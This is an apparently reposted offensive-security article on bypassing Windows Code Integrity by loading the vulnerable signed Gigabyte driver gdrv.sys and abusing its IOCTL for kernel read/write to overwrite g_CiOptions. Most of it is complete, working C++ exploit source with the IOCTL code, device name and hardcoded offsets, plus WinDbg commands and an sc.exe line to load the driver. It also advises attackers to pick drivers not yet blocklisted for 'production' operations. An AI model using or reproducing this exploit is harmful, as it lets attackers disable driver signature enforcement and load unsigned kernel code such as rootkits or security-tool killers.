Bypassing Code Integrity Using BYOVD for Kernel R/W Primitives

Bypassing Code Integrity Using BYOVD for Kernel R/W Primitives

Original text by S12 – 0x12Dark Development

The article demonstrates how attackers can bypass Windows Kernel Code Integrity protections by abusing the BYOVD (Bring Your Own Vulnerable Driver) technique to obtain powerful kernel read/write primitives. Instead of loading a malicious unsigned driver, the attacker loads a legitimate but vulnerable signed driver that contains exploitable IOCTL handlers. Because the driver is signed, Windows allows it to run in kernel mode. Once loaded, the attacker interacts with the driver from user mode and sends crafted DeviceIoControl requests to trigger vulnerabilities that allow arbitrary kernel memory read and write operations

The article uses the Gigabyte driver (gdrv.sys) as an example. By opening a handle to the driver device interface and sending specially crafted IOCTL requests, the exploit obtains direct control over kernel memory. With this primitive, an attacker can bypass protections such as Code Integrity, disable security controls, or manipulate sensitive kernel structures. 

The research walks through the exploitation workflow: loading the vulnerable driver, identifying the vulnerable IOCTL, crafting the exploit, and using the resulting kernel read/write capability to manipulate privileged memory. The article highlights how vulnerable drivers remain a major attack surface because they run with Ring-0 privileges and are trusted by the operating system

Code Integrity Policies

At its simplest, Code Integrity (CI) is the part of Windows that checks if a file (.exe, .dll, .sys, …) is “good” before letting it run. It looks for a digital signature to prove the file hasn’t been changed by a hacker.

CI Policies are the rules for this process. They don’t just check for a signature; they define which signatures are allowed and how strict the system should be

Here are the main features that make up these policies:

  • CI (Code Integrity): The master engine. It checks the hash of a file to make sure it hasn’t been modified by a hacker or corrupted
  • DSE (Driver Signature Enforcement): This is like the policeman for drivers. It forces every driver to have a valid digital signature from Microsoft or a trusted authority before it can touch the computer’s hardware
  • Test Mode (Test Signing): A special “developer mode.” When this is on, Windows allows drivers that are signed with unofficial, self-made certificates. This is a common target for bypasses.
  • UMCI (User-Mode Code Integrity): This extends the rules to normal apps (like .exe or .dll files). It ensures that only approved programs can start, not just any downloaded file.
  • Audit Mode: A silent version of the policy. Instead of blocking an unsigned driver, it lets it run but writes a warning in the system logs. Attackers love to flip the system into this mode to stay invisible.

Methodology

Before we dive into the C++ code, let’s look at the recipe. The goal is to move from a standard user to having full control over the Kernel by tricking the Code Integrity system.

To achieve this bypass we need to follow these logical steps:

  1. Prepare the Privileges: First, our application needs special permission to talk deeply with the system. We enable SeDebugPrivilege. This allows our process to inspect and interact with other powerful parts of Windows, to do this you will need Administrator rights.
  2. Locate the Target (Finding ci.dll): We need to find where the ci.dll is stored in the computer’s memory. We do this by listing all the drivers currently loaded in the system until we find the base address of ci.dll. This file is where the g_CiOptions master switch lives.
  3. Calculate the Offset: Since every version of Windows is different, the (g_CiOptions) isn’t always in the same spot inside ci.dll. We use offsets(specific distances in memory) to find the exact location of the bitmask.
  4. The BYOVD Bridge (Kernel R/W): We cannot simply write to Kernel memory from a normal app. We load a legitimate but vulnerable driver (the BYOVD). We use a vulnerability in this driver as a bridge to reach into the Kernel and overwrite the g_CiOptions value.
  5. Flipping the Switch: Finally, we change the bitmask (for example, from 0x6 to 0x0 or 0x8). By doing this, we instantly disable DSE (Driver Signature Enforcement). Now, the system will allow us to load our own custom, unsigned driver without any errors.

Implementation

Now, let’s look at how to translate that logic into C++ code. I have broken down the most important parts.

Prepare the Privileges

To activate the SeDebugPrivilege in our process token we can simply execute this function:

BOOL EnableSeDebugPrivilege(){
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID luid;
 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
 {
  std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
  return FALSE;
 }
 if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
 {
  std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
  CloseHandle(hToken);
  return FALSE;
 }
 tp.PrivilegeCount = 1;
 tp.Privileges[0].Luid = luid;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
 {
  std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
  CloseHandle(hToken);
  return FALSE;
 }
 CloseHandle(hToken);
 return TRUE;
}

Just with this, our process token receive the privilege to perform debugging operations directly to other processes.

Locate the Target (Finding ci.dll)

This step is not that easy than the previous one, the current one requires of two different steps:

  1. List all the kernel drivers
  2. Get ci.dll base address

This can be done with just one function, in my case, I used two different ones.

List all the kernel drivers

std::vector<KernelDriver> GetSortedKernelDrivers() {
 std::vector<KernelDriver> driverList;

 auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
  GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

 if (!NtQuerySystemInformation) return driverList;

 ULONG len = 0;
 const int SystemModuleInformation = 11;

 NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

 std::vector<BYTE> buffer(len);
 NTSTATUS status = NtQuerySystemInformation(
  (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
  buffer.data(),
  len,
  &len
 );

 if (status != 0) return driverList; // STATUS_SUCCESS = 0

 auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

 for (ULONG i = 0; i < mods->Count; i++) {
  SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

  KernelDriver drv;
  drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
  drv.Size = entry.ImageSize;

  const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
  drv.Name = std::string(nameStart);

  driverList.push_back(drv);
 }

 std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
  return a.BaseAddress < b.BaseAddress;
  });

 return driverList;
}

This function uses NtQuerySystemInformation to retrieve a list of all loaded kernel drivers, extracting their base address, size, and name into a vector. Finally, it sorts the drivers by their base address.

Get ci.dll base address

Using the list (vector) of drivers returned by the previous function, we can just get the base address of the ci.dll one:

DWORD64 GetCIBase(const std::vector<KernelDriver>& drivers) {
 if (drivers.empty()) {
  return 0;
 }

 for (const auto& drv : drivers) {
  std::string nameLower = drv.Name;
  std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

  if (nameLower.find("ci.dll") != std::string::npos ||
   nameLower.find("ci") != std::string::npos) {
   return (DWORD64)drv.BaseAddress;
  }
 }

 return 0;
}

Calculate the Offset

Then it’s time to get the offset, but exactly which offset?

We are searching for the offset between the ci.dll base address and the g_CiOptions field (it’s inside the ci.dll).

You can use various methods to do this (resolving the symbols online, hardcoding all the offsets list of all the versions…), in our case we use a simplest way just for testing. We use WinDbg to find this offset.

To do this you need to install and open the WinDbg application, then attach the kernel and run the following commands:

lkd> .symfix
lkd> .reload
lkd> lm m CI
lkd > x CI!g_CiOptions
lkd > ? CI!g_CiOptions - CI
Evaluate expression : 327684 = 00000000`00050004

Let’s check the output:

Press enter or click to view image in full size

The important output is this one:

Evaluate expression : 327684 = 00000000`00050004

We need to set the last part of this value into our offset structure:

struct offsets {
	ULONG64 FromCItoC_giOptions;
} g_offsets = {
	0x50004 // MaldevWin11 machine
	//0x4d004 // Win11 test sandboxes
};

And now we got the offset, so if we start from the base address of the ci.dll and we add the offset, we arrive at the exact memory location of g_CiOptions

Kernel R/W

Now we got the address that we need to manipulate, but remember, this address is in the kernel, so we need to exploit a vulnerable driver to perform Read and Write Kernel operations.

In summary, we are using the same vulnerable driver: https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/?source=post_page—–8135087e1c1e—————————————

And then just load the driver from an administrator cmd

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys

In this case is not the best driver, why? Because it’s one of the most exploited in the history, that means is in the Windows blacklist, so if you want to load this driver, you need to have disabled various of the Code Integrity policies.

But in a production operation we need to use a vulnerable driver not listed in the blacklist yet, also needs to have R/W Kernel primitives.

Then we just declare the read and write primitives:

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelWritePrimitive kwp;
 kwp.dst = dst;
 kwp.src = src;
 kwp.size = size;

 BYTE bufferReturned[48] = { 0 };
 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
 if (!result) {
  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelReadPrimitive krp;
 krp.dst = dst;
 krp.src = src;
 krp.size = size;


 DWORD returned = 0;

 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
 if (!result) {
  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

Flipping the Switch

And then, we just need to modify the g_CiOptions using the kernel write primitive:

BOOL disableDSE(HANDLE drv, DWORD64 ciBaseAddress) {
 DWORD64 ci_optionsAddress = ciBaseAddress + g_offsets.FromCItoC_giOptions;
 //cout << "g_CiOptions Address " << ciBaseAddress;
 cout << "g_CiOptions Address: 0x" << hex << ci_optionsAddress << endl;

 // Values
 // Bitmask
 
 // --- Single bits ---
 // 0x0 = Active (CI fully enforced)
 // 0x1 = Disable code integrity
 // 0x2 = Test Signing Mode
 // 0x4 = Chill Checks
 // 0x8 = Permissive, partial bypass
 
 // --- Combined ---
 // 0x3 = Disable CI + Test Signing
 // 0x5 = Disable CI + Chill Checks
 // 0x6 = Test Signing + Chill Checks
 // 0x7 = Disable CI + Test Signing + Chill Checks
 // 0x9 = Disable CI + Permissive
 // 0xA = Test Signing + Permissive
 // 0xB = Disable CI + Test Signing + Permissive
 // 0xC = Chill Checks + Permissive
 // 0xD = Disable CI + Chill Checks + Permissive
 // 0xE = Test Signing + Chill Checks + Permissive
 // 0xF = All flags (Disable CI + Test Signing + Chill Checks + Permissive)
 
 BYTE currentValue = 0;
 ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci_optionsAddress, sizeof(BYTE));
 cout << "g_CiOptions before: 0x" << hex << (int)currentValue << endl;


 BYTE newValue = 0xF;
 BOOL resultWritten = WritePrimitive(drv, (LPVOID)ci_optionsAddress, (LPVOID)&newValue, sizeof(BYTE));
 if (resultWritten) {
  cout << "New bytes written into DSE field " << endl;
  ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci_optionsAddress, sizeof(BYTE));
  cout << "g_CiOptions after:  0x" << hex << (int)currentValue << endl;
  return TRUE;
 }
 else {
  return FALSE;
 }
}

In this case we are adding to read primitives to show the value before and after the modification. But is not strictly necessary.

Code

main.cpp

#include <Windows.h>
#include <winternl.h>
#include <vector>
#include <string>
#include <algorithm>
#include <iostream>
#include "DriverOps.h"

using namespace std;

typedef struct _SYSTEM_MODULE_ENTRY {
 HANDLE Section;
 PVOID MappedBase;
 PVOID ImageBase;
 ULONG ImageSize;
 ULONG Flags;
 USHORT LoadOrderIndex;
 USHORT InitOrderIndex;
 USHORT LoadCount;
 USHORT OffsetToFileName;
 UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
 ULONG Count;
 SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

struct KernelDriver {
 std::string Name;
 uintptr_t BaseAddress;
 uint32_t Size;
};

typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
 SYSTEM_INFORMATION_CLASS SystemInformationClass,
 PVOID SystemInformation,
 ULONG SystemInformationLength,
 PULONG ReturnLength
 );

// 1- Enable SeDebugPrivilege for the current process
// 2- Get offsets (hardcoded)
// 3- List all drivers
// 4. Get CI.dll address
// 5. Disable DSE


// lkd> lm m CI
// lkd > x CI!g_CiOptions
// lkd > ? CI!g_CiOptions - CI
//Evaluate expression : 327684 = 00000000`00050004


struct offsets {
 ULONG64 FromCItoC_giOptions;
} g_offsets = {
 //0x50004 // MaldevWin11 machine
 0x4d004 // Win11 test sandboxes
};

std::vector<KernelDriver> GetSortedKernelDrivers() {
 std::vector<KernelDriver> driverList;

 auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
  GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

 if (!NtQuerySystemInformation) return driverList;

 ULONG len = 0;
 const int SystemModuleInformation = 11;

 NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

 std::vector<BYTE> buffer(len);
 NTSTATUS status = NtQuerySystemInformation(
  (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
  buffer.data(),
  len,
  &len
 );

 if (status != 0) return driverList; // STATUS_SUCCESS = 0

 auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

 for (ULONG i = 0; i < mods->Count; i++) {
  SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

  KernelDriver drv;
  drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
  drv.Size = entry.ImageSize;

  const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
  drv.Name = std::string(nameStart);

  driverList.push_back(drv);
 }

 std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
  return a.BaseAddress < b.BaseAddress;
  });

 return driverList;
}

DWORD64 GetCIBase(const std::vector<KernelDriver>& drivers) {
 if (drivers.empty()) {
  return 0;
 }

 for (const auto& drv : drivers) {
  std::string nameLower = drv.Name;
  std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

  if (nameLower.find("ci.dll") != std::string::npos ||
   nameLower.find("ci") != std::string::npos) {
   return (DWORD64)drv.BaseAddress;
  }
 }

 return 0;
}


BOOL disableDSE(HANDLE drv, DWORD64 ciBaseAddress) {
 DWORD64 ci_optionsAddress = ciBaseAddress + g_offsets.FromCItoC_giOptions;
 //cout << "g_CiOptions Address " << ciBaseAddress;
 cout << "g_CiOptions Address: 0x" << hex << ci_optionsAddress << endl;

 // Values
 // Bitmask
 
 // --- Single bits ---
 // 0x0 = Active (CI fully enforced)
 // 0x1 = Disable code integrity
 // 0x2 = Test Signing Mode
 // 0x4 = Chill Checks
 // 0x8 = Permissive, partial bypass
 
 // --- Combined ---
 // 0x3 = Disable CI + Test Signing
 // 0x5 = Disable CI + Chill Checks
 // 0x6 = Test Signing + Chill Checks
 // 0x7 = Disable CI + Test Signing + Chill Checks
 // 0x9 = Disable CI + Permissive
 // 0xA = Test Signing + Permissive
 // 0xB = Disable CI + Test Signing + Permissive
 // 0xC = Chill Checks + Permissive
 // 0xD = Disable CI + Chill Checks + Permissive
 // 0xE = Test Signing + Chill Checks + Permissive
 // 0xF = All flags (Disable CI + Test Signing + Chill Checks + Permissive)
 
 BYTE currentValue = 0;
 ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci_optionsAddress, sizeof(BYTE));
 cout << "g_CiOptions before: 0x" << hex << (int)currentValue << endl;


 BYTE newValue = 0xF;
 BOOL resultWritten = WritePrimitive(drv, (LPVOID)ci_optionsAddress, (LPVOID)&newValue, sizeof(BYTE));
 if (resultWritten) {
  cout << "New bytes written into DSE field " << endl;
  ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci_optionsAddress, sizeof(BYTE));
  cout << "g_CiOptions after:  0x" << hex << (int)currentValue << endl;
  return TRUE;
 }
 else {
  return FALSE;
 }
}


BOOL EnableSeDebugPrivilege()
{
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 LUID luid;
 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
 {
  std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
  return FALSE;
 }
 if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
 {
  std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
  CloseHandle(hToken);
  return FALSE;
 }
 tp.PrivilegeCount = 1;
 tp.Privileges[0].Luid = luid;
 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
 {
  std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
  CloseHandle(hToken);
  return FALSE;
 }
 CloseHandle(hToken);
 return TRUE;
}


int main(int argc, char* argv[])
{
 // 1. Enable SeDebugPrivilege for the current process
 BOOL setPriv = EnableSeDebugPrivilege();

 // 2. Get offsets (hardcoded)

 // 3. List all drivers
 vector<KernelDriver> drivers = GetSortedKernelDrivers();

 // 4. Get CI.dll address
 DWORD64 ciDLLBase = GetCIBase(drivers);
 cout << "CI.dll Base address " << ciDLLBase << endl;
 getchar();

 HANDLE drv = openVulnDriver();
 if (drv == NULL || drv == INVALID_HANDLE_VALUE) {
  cout << "Error opening driver" << endl;
  return -1;
 }

 // 5. Disable DSE
 BOOL result = disableDSE(drv, ciDLLBase);
 return 0;
}

DriverOps.h

#include <iostream>
#include <Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

using namespace std;

typedef struct KernelWritePrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelReadPrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelWritePrimitive kwp;
 kwp.dst = dst;
 kwp.src = src;
 kwp.size = size;

 BYTE bufferReturned[48] = { 0 };
 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
 if (!result) {
  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelReadPrimitive krp;
 krp.dst = dst;
 krp.src = src;
 krp.size = size;


 DWORD returned = 0;

 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
 if (!result) {
  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

HANDLE openVulnDriver() {
 HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (!driver || driver == INVALID_HANDLE_VALUE)
 {
  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
  return NULL;
 }
 return driver;
}

Proof of Concept

Windows 11:

So if we run the code (after loading the driver):

Conclusions

The BYOVD (Bring Your Own Vulnerable Driver) technique remains one of the most effective ways to bypass Code Integrity Policies because it turns a legitimate, signed asset against the system itself. By using a kernel read/write primitive to patch g_CiOptions in memory, we effectively blindthe OS, allowing us to load unsigned code into the most privileged areas of Windows.

Comments are closed.